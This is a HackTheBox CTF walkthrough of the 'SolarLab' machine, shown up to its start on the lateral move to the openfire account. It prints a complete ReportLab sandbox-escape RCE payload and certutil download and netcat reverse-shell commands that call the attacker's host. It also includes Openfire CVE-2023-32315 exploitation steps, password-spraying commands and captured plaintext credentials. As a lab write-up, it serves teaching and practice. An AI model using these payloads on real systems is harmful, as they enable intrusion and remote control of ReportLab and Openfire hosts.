HackTheBox | SolarLab

In this walkthrough, I demonstrate how I obtained complete ownership of SolarLab on HackTheBox
In: HackTheBox, Attack, CTF, Windows, Medium Challenge
Owned SolarLab from Hack The Box!
I have just owned machine SolarLab from Hack The Box

Nmap Results

# Nmap 7.94SVN scan initiated Mon May 13 13:06:00 2024 as: nmap -Pn -p- --min-rate 2000 -sC -sV -oN nmap-scan.txt 10.129.215.232
Nmap scan report for 10.129.215.232
Host is up (0.045s latency).
Not shown: 65529 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
80/tcp   open  http          nginx 1.24.0
|_http-title: Did not follow redirect to http://solarlab.htb/
|_http-server-header: nginx/1.24.0
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
6791/tcp open  http          nginx 1.24.0
|_http-title: Did not follow redirect to http://report.solarlab.htb:6791/
|_http-server-header: nginx/1.24.0
7680/tcp open  pando-pub?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2024-05-13T17:07:53
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon May 13 13:08:29 2024 -- 1 IP address (1 host up) scanned in 149.48 seconds

In the output for tcp/80 and tcp/6791, we can see a redirect to solarlab.htb and report.solarlab.htb respectively. Let's get those hostnames added to our /etc/hosts file.

echo '10.129.215.232        solarlab.htb report.solarlab.htb' | sudo tee -a /etc/hosts





Service Enumeration

TCP/139,445

SMB Null Session Share Access

We can list shares anonymously

We almost certainly won't be able to map the ADMIN$ and C$ anonymously, but the Documents share looks interesting.

We can anonymously map the Documents share!
No anonymous write access
smb: \> prompt
smb: \> recurse
smb: \> mget *

Download all of the files locally

Some directories are denied, but let's see what kind of information is available
details-file.xslx (viewing in LibreOffice)



SMB Null Session Enumeration

NULL Session Enumerati... | 0xBEN | Notes
NULL Session LDAP, SMB, and RPC may allow a user to authenticate to the service without providing a…
ℹ️
This is typically an AD attack, but can also be done for local authentication as well, where the only prerequisite is a valid credential or null session access to RPC or SMB on the target
nxc smb solarlab.htb -u 'anonymous' -p '' --rid-brute 8000

Null session RID cycling to find usernames

Found openfire as another username
💡
Thanks to RID cycling, we also now know that blake and openfire are two local users on the target



Compile Information

I'm going to take the usernames (including the username portions of emails) and passwords found in this document and from RID cycling and put them into separate files, as we'll want to try spraying them at services.

Usernames

alexander.knight
KAlexander
blake.byte
AlexanderK
ClaudiaS
claudia.springer
blake
openfire

Passwords

al;ksdhfewoiuh
dkjafblkjadsfgl
d398sadsknr390
ThisCanB3typedeasily1@
danenacia9234n
dadsfawe9dafkn
Odd behavior when testing SMB login, but maybe due to anonymous permissions
ℹ️
I don't really trust what I'm seeing on the SMB bruteforce, as that's too many successful logins and none of them seemed to offer any additional benefits with manual testing. Let's enumerate some more.



TCP/80

ℹ️
gobuster enumeration didn't reveal anything interesting when using dir and vhost mode. Time to look at some other ports.



TCP/6791

Manual Login Testing

ℹ️
This server seemed a bit unstable when running some gobuster scans at it, even when tuning down the thread count. So, I'll just try some manual logins using the details-file.xlsx entries first, since there are only six entries.
Test login and capture response
A different response when testing AlexanderK and ClaudiaS



Password Spraying with Hydra

nano valid-users.txt
AlexanderK
ClaudiaS

Create a list of valid users for password spraying

We note the server responds User authentication error. when a login is invalid and the login payload looks like username=test&password=test. This login payload is sent in a HTTP POST request.

hydra -I -v -L valid-users.txt -P passwords.txt -s 6791 report.solarlab.htb http-post-form '/login:username=^USER^&password=^PASS^:C=/login:F=User authentication error.'

Spray the username and password list we put together earlier

No valid login found...
🫠
I feel like I've done a fair amount of username enumeration at this point and the server is not tolerating my gobuster dir scans well, so I have to assume we just don't have the right username.
💡
But, we should note that there is an apparent naming convention {firstname}{l}, in other words, John Doe == JohnD. So, let's review our usernames.txt file for any names we can update to this naming convention.

If alexander.knight becomes AlexanderK and claudia.springer becomes ClaudiaS, then we should add a BlakeB to the list for blake.byte. Let's see what that does for our efforts.

echo 'BlakeB' >> valid-users.txt
Nice! 🎉



Log in and Explore the App

Regardless of choice, the PDF generation utility appears to be universal
Give the utility a try with basic inputs
http://report.solarlab.htb:6791/travelApprovalForm
Download the PDF file and inspect its metadata
💡
We can see the PDF was generated with ReportLab PDF Library, which is something we should research further.
This seems like it has potential
This the actual code that will be run by the evaluator
This is what we need to inject into the travel form



Testing RCE

poc.txt

   <para>
              <font color="[ [ getattr(pow,Word('__globals__'))['os'].system('ping -n 2 10.10.14.35') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'">
                exploit
                </font>
            </para>    

It will be best use Burp to catch the request and send it to Repeater to substitute with our payload in various points for testing.

Request 5400 is where I submitted the valid payload

Right-click the request in Burp and choose Send to Repeater. I tried injecting my payload in the user_input field, but it seems the 300 character limit is validated server side.

I then tried injecting the payload into the travel_request field and this worked, as it does not have a character limit that is checked by the server.

The ping test on the target worked!





Exploit

Understanding the Exploit

The library has known in 2019 a similar exploit leading to remote code execution via the Color attribute of the HTML tags, the content of the attribute was directly evaluated as a python expression using eval function thus leading to code execution. To mitigate the issue Reportlab has implemented a sandbox calling it rl_safe_eval that is stripped from all python builtins functions and has multiple overridden builtin functions to permit the execution of the library safe code while stopping any access to dangerous functions and libraries that can subsequently lead to construction of dangerous python code
One of the many overridden builtin classes is called type, if this class is called with one argument, it returns the type of an object. however in case it is called with three arguments, it returns a new type object. This is essentially a dynamic form of the class statement. In other words it can allow the creation of a new class that inherits from another class.

Therefore, the gist of this exploit is that we can create a custom class satisfies three conditions to bypass safety checks:

Always return False for calls to function startswith to bypass (name.startswith('__')

Should return False to its first call to __eq__ to bypass the name in __rl_unsafe__, after the first call it should return the correct response because when __eq__ is called by the python builtin getattr it should return the correct result.

the hash should be he same of the hash of its underlying string

This custom class then sources in the os class in the __globals__ scope and allows overwriting of the custom functions put in place as a mitigation.



Reverse Shell

cp /usr/share/windows-binaries/nc.exe .
sudo pytbon3 -m http.server 80

Copy nc.exe to the current directory and host it over HTTP on Kali

   <para>
              <font color="[ [ getattr(pow,Word('__globals__'))['os'].system('certutil -split -urlcache -f http://10.10.14.35/nc.exe C:\\Windows\\Tasks\\nc.exe') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'">
                exploit
                </font>
            </para>

Download nc.exe to the box via RCE

sudo rlwrap nc -lnvp 443

Start a TCP listener on Kali to catch the connection

   <para>
              <font color="[ [ getattr(pow,Word('__globals__'))['os'].system('C:\\Windows\\Tasks\\nc.exe 10.10.14.35 443 -e powershell.exe') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'">
                exploit
                </font>
            </para>

Run nc.exe on the target and connect back to Kali





Post-Exploit Enumeration

Operating Environment

OS & Kernel

Host Name:                 SOLARLAB
OS Name:                   Microsoft Windows 10 Pro
OS Version:                10.0.19045 N/A Build 19045
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          Windows User
Registered Organization:   
Product ID:                00330-80112-18556-AA133
Original Install Date:     11/16/2023, 9:37:33 PM
System Boot Time:          5/14/2024, 12:58:41 AM
System Manufacturer:       VMware, Inc.
System Model:              VMware7,1
System Type:               x64-based PC
Processor(s):              2 Processor(s) Installed.
                           [01]: AMD64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2445 Mhz
                           [02]: AMD64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2445 Mhz
BIOS Version:              VMware, Inc. VMW71.00V.21805430.B64.2305221826, 5/22/2023
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC+02:00) Athens, Bucharest
Total Physical Memory:     4,095 MB
Available Physical Memory: 2,814 MB
Virtual Memory: Max Size:  4,799 MB
Virtual Memory: Available: 3,437 MB
Virtual Memory: In Use:    1,362 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    WORKGROUP
Logon Server:              N/A
Hotfix(s):                 N/A
Network Card(s):           1 NIC(s) Installed.
                           [01]: vmxnet3 Ethernet Adapter
                                 Connection Name: Ethernet0 2
                                 DHCP Enabled:    Yes
                                 DHCP Server:     10.129.0.1
                                 IP address(es)
                                 [01]: 10.129.231.39
Hyper-V Requirements:      A hypervisor has been detected. Features required for Hyper-V will not be displayed.    

Current User

USER INFORMATION
----------------

User Name      SID                                           
============== ==============================================
solarlab\blake S-1-5-21-3606151065-2641007806-2768514320-1000


GROUP INFORMATION
-----------------

Group Name                             Type             SID          Attributes                                        
====================================== ================ ============ ==================================================
Everyone                               Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                          Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\BATCH                     Well-known group S-1-5-3      Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                          Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization         Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account             Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group
LOCAL                                  Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication       Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label            S-1-16-8192                                                    


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State   
============================= ==================================== ========
SeShutdownPrivilege           Shut down the system                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled 
SeUndockPrivilege             Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
SeTimeZonePrivilege           Change the time zone                 Disabled    



Users and Groups

Local Users

User accounts for \\SOLARLAB

-------------------------------------------------------------------------------
Administrator            blake                    DefaultAccount           
Guest                    openfire                 WDAGUtilityAccount       
The command completed successfully.    

Local Groups

Aliases for \\SOLARLAB

-------------------------------------------------------------------------------
*Access Control Assistance Operators
*Administrators
*Backup Operators
*Cryptographic Operators
*Device Owners
*Distributed COM Users
*Event Log Readers
*Guests
*Hyper-V Administrators
*IIS_IUSRS
*Network Configuration Operators
*Performance Log Users
*Performance Monitor Users
*Power Users
*Remote Desktop Users
*Remote Management Users
*Replicator
*System Managed Accounts Group
*Users
The command completed successfully.    



Network Configurations

Network Interfaces

Ethernet adapter Ethernet0 2:

   Connection-specific DNS Suffix  . : .htb
   IPv4 Address. . . . . . . . . . . : 10.129.231.39
   Subnet Mask . . . . . . . . . . . : 255.255.0.0
   Default Gateway . . . . . . . . . : 10.129.0.1    

Open Ports

  TCP    127.0.0.1:5000         0.0.0.0:0              LISTENING       2260
  TCP    127.0.0.1:5222         0.0.0.0:0              LISTENING       2512
  TCP    127.0.0.1:5223         0.0.0.0:0              LISTENING       2512
  TCP    127.0.0.1:5262         0.0.0.0:0              LISTENING       2512
  TCP    127.0.0.1:5263         0.0.0.0:0              LISTENING       2512
  TCP    127.0.0.1:5269         0.0.0.0:0              LISTENING       2512
  TCP    127.0.0.1:5270         0.0.0.0:0              LISTENING       2512
  TCP    127.0.0.1:5275         0.0.0.0:0              LISTENING       2512
  TCP    127.0.0.1:5276         0.0.0.0:0              LISTENING       2512
  TCP    127.0.0.1:7070         0.0.0.0:0              LISTENING       2512
  TCP    127.0.0.1:7443         0.0.0.0:0              LISTENING       2512
  TCP    127.0.0.1:9090         0.0.0.0:0              LISTENING       2512
  TCP    127.0.0.1:9091         0.0.0.0:0              LISTENING       2512    



Processes and Services

Interesting Processes

Name        : openfire-service.exe
Owner       : 
CommandLine :
    
Name        : timeout.exe
Owner       : SOLARLAB\blake
CommandLine : timeout  /t 600 /nobreak 

Name        : python3.11.exe
Owner       : SOLARLAB\blake
CommandLine : "C:\Users\blake\AppData\Local\Microsoft\WindowsApps\PythonSoftwareFoundation.Python.3.11_qbz5n2kfra8p0\py
              thon.exe"  "C:\Users\blake\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.11_qbz5n2kfra8p0\Loca
              lCache\local-packages\Python311\Scripts\waitress-serve.exe" --listen 127.0.0.1:5000 --threads 10 app:app



Scheduled Tasks

Interesting Scheduled Tasks

TaskName : Start Internal App
User     : blake
Action   : C:\Users\blake\Documents\start-app.bat    



Interesting Files

C:\Users\blake\Documents\app\instance\users.db

SQLite format 3@  .jD
o!!I?+,9tableuseruserCREATE TABLE user (
        id INTEGER NOT NULL, 
        username VARCHAR(50) NOT NULL, 
        password VARCHAR(100) NOT NULL, 
        PRIMARY KEY (id), 
        UNIQUE (username)
)';indexsqlite_autoindex_user_1user
�_A�!)alexanderkHotP!fireguard'claudias007poiuytrewq 9blakebThisCanB3typedeasily1@
UU��!alexanderk
               claudias         blakeb    
SQLite version 3.45.1 2024-01-30 16:01:20
Enter ".help" for usage hints.
sqlite> .tables
user
sqlite> select * from user;
1|blakeb|ThisCanB3typedeasily1@
2|claudias|007poiuytrewq
3|alexanderk|HotP!fireguard





Privilege Escalation

Port Forwarding with Chisel

sudo impacket-smbserver -smb2support evil .

Create a SMB share called evil in the current directory on Kali

New-SmbMapping -LocalPath 'X:' -RemotePath \\10.10.14.35\evil

Map the share to the X: volume on the target

Port Forwarding with C... | 0xBEN | Notes
GitHub Download from the Releases Page Usage Requires a copy of the Chisel binary on: The ta…

I'll be using the download_chisel function from my notes here to download the latest copy of the chisel binaries to the current directory

sudo ./chisel server --port 8081 --reverse

Start the chisel server on Kali and allow reverse forwards

$scriptBlock = { Start-Process C:\Windows\Tasks\chisel.exe -ArgumentList @('client','10.10.14.186:8081','R:58080:socks') }
Start-Job -ScriptBlock $scriptBlock

Run the chisel.exe client on the target as a background job

sudo nano /etc/proxychains4.conf

Edit the proxychains file on Kali

[ProxyList]
socks5 127.0.0.1 58080

Set the reverse SOCKS proxy

proxychains -q nmap -Pn -p9091,9090,7443,7070,5276,5275,5270,5269,5263,5262,5223,5222,5000 -T5 -sC -sV -sT -oN chisel-nmap.txt 127.0.0.1

Scan the ports listening on loopback on the target through the reverse proxy

⚠️
You must do -sT (full TCP connect) scans through a SOCKS proxy. As such, the scan will take a bit longer than your typical scan. Be patient!

chisel-nmap.txt

# Nmap 7.94SVN scan initiated Thu May 16 15:23:53 2024 as: nmap -Pn -p9091,9090,7443,7070,5276,5275,5270,5269,5263,5262,5223,5222,5000 -T5 -sC -sV -sT -oN chisel-nmap.txt 127.0.0.1
Nmap scan report for localhost (127.0.0.1)
Host is up (0.054s latency).

PORT     STATE SERVICE             VERSION
5000/tcp open  upnp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Connection: close
|     Content-Length: 2045
|     Content-Type: text/html; charset=utf-8
|     Date: Thu, 16 May 2024 19:24:07 GMT
|     Server: waitress
|     Vary: Cookie
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>Login - ReportHub</title>
|     <style>
|     body {
|     font-family: 'Arial', sans-serif;
|     background-color: #f5f5f5;
|     margin: 0;
|     padding: 0;
|     display: flex;
|     flex-direction: column;
|     align-items: center;
|     height: 100vh;
|     .logo {
|     max-width: 200px;
|     margin-bottom: 20px;
|     display: block;
|     margin: 0 auto;
|     text-align: center;
|     color: #333;
|     form {
|     max-w
|   RTSPRequest: 
|     HTTP/1.0 400 Bad Request
|     Connection: close
|     Content-Length: 63
|     Content-Type: text/plain; charset=utf-8
|     Date: Thu, 16 May 2024 19:24:13 GMT
|     Server: waitress
|     Request
|     Start line is invalid
|_    (generated by waitress)
5222/tcp open  jabber              Ignite Realtime Openfire Jabber server 3.10.0 or later
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=solarlab.htb
| Subject Alternative Name: DNS:solarlab.htb, DNS:*.solarlab.htb
| Not valid before: 2023-11-17T12:22:21
|_Not valid after:  2028-11-15T12:22:21
| xmpp-info: 
|   STARTTLS Failed
|   info: 
|     unknown: 
|     features: 
|     errors: 
|       invalid-namespace
|       (timeout)
|     stream_id: 6cxq1mit31
|     auth_mechanisms: 
|     xmpp: 
|       version: 1.0
|     capabilities: 
|_    compression_methods: 
5223/tcp open  ssl/jabber
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=solarlab.htb
| Subject Alternative Name: DNS:solarlab.htb, DNS:*.solarlab.htb
| Not valid before: 2023-11-17T12:22:21
|_Not valid after:  2028-11-15T12:22:21
| fingerprint-strings: 
|   RPCCheck: 
|_    <stream:error xmlns:stream="http://etherx.jabber.org/streams"><not-well-formed xmlns="urn:ietf:params:xml:ns:xmpp-streams"/></stream:error></stream:stream>
| xmpp-info: 
|   STARTTLS Failed
|   info: 
|     features: 
|     unknown: 
|     capabilities: 
|     auth_mechanisms: 
|     xmpp: 
|     errors: 
|       (timeout)
|_    compression_methods: 
5262/tcp open  jabber
| xmpp-info: 
|   STARTTLS Failed
|   info: 
|     unknown: 
|     features: 
|     errors: 
|       invalid-namespace
|       (timeout)
|     stream_id: afhv556np4
|     auth_mechanisms: 
|     xmpp: 
|       version: 1.0
|     capabilities: 
|_    compression_methods: 
| fingerprint-strings: 
|   RPCCheck: 
|_    <stream:error xmlns:stream="http://etherx.jabber.org/streams"><not-well-formed xmlns="urn:ietf:params:xml:ns:xmpp-streams"/></stream:error></stream:stream>
5263/tcp open  ssl/jabber          Ignite Realtime Openfire Jabber server 3.10.0 or later
| ssl-cert: Subject: commonName=solarlab.htb
| Subject Alternative Name: DNS:solarlab.htb, DNS:*.solarlab.htb
| Not valid before: 2023-11-17T12:22:21
|_Not valid after:  2028-11-15T12:22:21
| xmpp-info: 
|   STARTTLS Failed
|   info: 
|     features: 
|     unknown: 
|     capabilities: 
|     auth_mechanisms: 
|     xmpp: 
|     errors: 
|       (timeout)
|_    compression_methods: 
|_ssl-date: TLS randomness does not represent time
5269/tcp open  xmpp                Wildfire XMPP Client
| xmpp-info: 
|   Respects server name
|   STARTTLS Failed
|   info: 
|     unknown: 
|     features: 
|     errors: 
|       host-unknown
|       (timeout)
|     stream_id: 201oqw75h4
|     auth_mechanisms: 
|     xmpp: 
|       version: 1.0
|     capabilities: 
|_    compression_methods: 
5270/tcp open  ssl/xmpp            Wildfire XMPP Client
| ssl-cert: Subject: commonName=solarlab.htb
| Subject Alternative Name: DNS:solarlab.htb, DNS:*.solarlab.htb
| Not valid before: 2023-11-17T12:22:21
|_Not valid after:  2028-11-15T12:22:21
|_ssl-date: TLS randomness does not represent time
5275/tcp open  jabber              Ignite Realtime Openfire Jabber server 3.10.0 or later
| xmpp-info: 
|   STARTTLS Failed
|   info: 
|     unknown: 
|     features: 
|     errors: 
|       invalid-namespace
|       (timeout)
|     stream_id: 5vi18bdiq0
|     auth_mechanisms: 
|     xmpp: 
|       version: 1.0
|     capabilities: 
|_    compression_methods: 
5276/tcp open  ssl/jabber
| ssl-cert: Subject: commonName=solarlab.htb
| Subject Alternative Name: DNS:solarlab.htb, DNS:*.solarlab.htb
| Not valid before: 2023-11-17T12:22:21
|_Not valid after:  2028-11-15T12:22:21
| xmpp-info: 
|   STARTTLS Failed
|   info: 
|     features: 
|     unknown: 
|     capabilities: 
|     auth_mechanisms: 
|     xmpp: 
|     errors: 
|       (timeout)
|_    compression_methods: 
|_ssl-date: TLS randomness does not represent time
| fingerprint-strings: 
|   RPCCheck: 
|_    <stream:error xmlns:stream="http://etherx.jabber.org/streams"><not-well-formed xmlns="urn:ietf:params:xml:ns:xmpp-streams"/></stream:error></stream:stream>
7070/tcp open  realserver?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP: 
|     HTTP/1.1 400 Illegal character CNTL=0x0
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 69
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x0</pre>
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Date: Thu, 16 May 2024 19:24:03 GMT
|     Last-Modified: Wed, 16 Feb 2022 15:55:02 GMT
|     Content-Type: text/html
|     Accept-Ranges: bytes
|     Content-Length: 223
|     <html>
|     <head><title>Openfire HTTP Binding Service</title></head>
|     <body><font face="Arial, Helvetica"><b>Openfire <a href="http://www.xmpp.org/extensions/xep-0124.html">HTTP Binding</a> Service</b></font></body>
|     </html>
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Date: Thu, 16 May 2024 19:24:18 GMT
|     Allow: GET,HEAD,POST,OPTIONS
|   Help: 
|     HTTP/1.1 400 No URI
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 49
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: No URI</pre>
|   RPCCheck: 
|     HTTP/1.1 400 Illegal character OTEXT=0x80
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 71
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: Illegal character OTEXT=0x80</pre>
|   RTSPRequest: 
|     HTTP/1.1 505 Unknown Version
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 58
|     Connection: close
|     <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre>
|   SSLSessionReq: 
|     HTTP/1.1 400 Illegal character CNTL=0x16
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 70
|     Connection: close
|_    <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x16</pre>
7443/tcp open  ssl/oracleas-https?
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=solarlab.htb
| Subject Alternative Name: DNS:solarlab.htb, DNS:*.solarlab.htb
| Not valid before: 2023-11-17T12:22:21
|_Not valid after:  2028-11-15T12:22:21
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP: 
|     HTTP/1.1 400 Illegal character CNTL=0x0
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 69
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x0</pre>
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Date: Thu, 16 May 2024 19:24:10 GMT
|     Last-Modified: Wed, 16 Feb 2022 15:55:02 GMT
|     Content-Type: text/html
|     Accept-Ranges: bytes
|     Content-Length: 223
|     <html>
|     <head><title>Openfire HTTP Binding Service</title></head>
|     <body><font face="Arial, Helvetica"><b>Openfire <a href="http://www.xmpp.org/extensions/xep-0124.html">HTTP Binding</a> Service</b></font></body>
|     </html>
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Date: Thu, 16 May 2024 19:24:20 GMT
|     Allow: GET,HEAD,POST,OPTIONS
|   Help: 
|     HTTP/1.1 400 No URI
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 49
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: No URI</pre>
|   RPCCheck: 
|     HTTP/1.1 400 Illegal character OTEXT=0x80
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 71
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: Illegal character OTEXT=0x80</pre>
|   RTSPRequest: 
|     HTTP/1.1 505 Unknown Version
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 58
|     Connection: close
|     <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre>
|   SSLSessionReq: 
|     HTTP/1.1 400 Illegal character CNTL=0x16
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 70
|     Connection: close
|_    <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x16</pre>
9090/tcp open  zeus-admin?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Date: Thu, 16 May 2024 19:24:03 GMT
|     Last-Modified: Wed, 16 Feb 2022 15:55:02 GMT
|     Content-Type: text/html
|     Accept-Ranges: bytes
|     Content-Length: 115
|     <html>
|     <head><title></title>
|     <meta http-equiv="refresh" content="0;URL=index.jsp">
|     </head>
|     <body>
|     </body>
|     </html>
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Date: Thu, 16 May 2024 19:24:46 GMT
|     Allow: GET,HEAD,POST,OPTIONS
|   JavaRMI, drda, ibm-db2-das, informix: 
|     HTTP/1.1 400 Illegal character CNTL=0x0
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 69
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x0</pre>
|   SqueezeCenter_CLI: 
|     HTTP/1.1 400 No URI
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 49
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: No URI</pre>
|   WMSRequest: 
|     HTTP/1.1 400 Illegal character CNTL=0x1
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 69
|     Connection: close
|_    <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x1</pre>
9091/tcp open  ssl/xmltec-xmlmail?
|_ssl-date: TLS randomness does not represent time
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP: 
|     HTTP/1.1 400 Illegal character CNTL=0x0
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 69
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x0</pre>
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Date: Thu, 16 May 2024 19:25:10 GMT
|     Last-Modified: Wed, 16 Feb 2022 15:55:02 GMT
|     Content-Type: text/html
|     Accept-Ranges: bytes
|     Content-Length: 115
|     <html>
|     <head><title></title>
|     <meta http-equiv="refresh" content="0;URL=index.jsp">
|     </head>
|     <body>
|     </body>
|     </html>
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Date: Thu, 16 May 2024 19:25:15 GMT
|     Allow: GET,HEAD,POST,OPTIONS
|   Help: 
|     HTTP/1.1 400 No URI
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 49
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: No URI</pre>
|   RPCCheck: 
|     HTTP/1.1 400 Illegal character OTEXT=0x80
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 71
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: Illegal character OTEXT=0x80</pre>
|   RTSPRequest: 
|     HTTP/1.1 505 Unknown Version
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 58
|     Connection: close
|     <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre>
|   SSLSessionReq: 
|     HTTP/1.1 400 Illegal character CNTL=0x16
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 70
|     Connection: close
|_    <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x16</pre>
| ssl-cert: Subject: commonName=solarlab.htb
| Subject Alternative Name: DNS:solarlab.htb, DNS:*.solarlab.htb
| Not valid before: 2023-11-17T12:22:21
|_Not valid after:  2028-11-15T12:22:21



Burp through the SOCKS5 Proxy

⚠️
Be advised... Setting the SOCKS proxy settings in Burp persists even after closing the Burp window. Clear the proxy settings when finished, else you'll be wondering why your proxy's not working next time you start it up.
Go to Proxy > Proxy settings
Network > Connections
Fill out using the IP and port based on your environment



Openfire Admin Console

Now, go to http://127.0.0.1:9090 and note Openfire 4.7.4
CVE-2023-32315: Openfire Administration Console authentication bypass
We’ve had an important security issue reported that affects all recent versions of Openfire. We’ve fixed it in the newly published 4.6.8 and 4.7.5 releases. We recommend people upgrade as soon as possible. More info, including mitigations for those who cannot upgrade quickly, is available in this security advisory: CVE-2023-32315: Administration Console authentication bypass. Related to this issue, we have also made available updates to three of our plugins: Random Avatar plugin version 1.1.…

A Google search for Openfire 4.7.4 exploit yields this result



CVE-2023-32315

GitHub - miko550/CVE-2023-32315: Openfire Console Authentication Bypass Vulnerability with RCE plugin
Openfire Console Authentication Bypass Vulnerability with RCE plugin - miko550/CVE-2023-32315

A Google search for site:github.com cve-2023-32315 yields this result

Now, log in with p4hr13:1owi0i or whatever your credential is
Go to Plugins
Click Choose File
Choose the .jar file and click Upload Plugin
Note the plugin is now installed
Go to Server > Server Settings > Management Tool
Log in here using the password 123
Choose system command from the menu in the top-right
sudo impacket-smbserver -smb2support evil .

Start a SMB server on Kali in the current directory

cp /usr/share/windows-binaries/nc.exe .

Copy the nc.exe binary in the directory where you're hosting the SMB server

sudo rlwrap nc -lvnp 443

Start a TCP listener on Kali

Run this command on the target to run nc.exe over SMB and connect to the TCP listener.

cmd.exe /c \\10.10.14.186\evil\nc.exe 10.10.14.186 443 -e powershell.exe



Lateral to openfire Service Account

💡
Following the post-exploit enumeration process, I found an interesting file with just the information we need.
In the Openfire admin portal, we can see the embedded DB is in use
However, I get a file not found error
openfire.script looks interesting
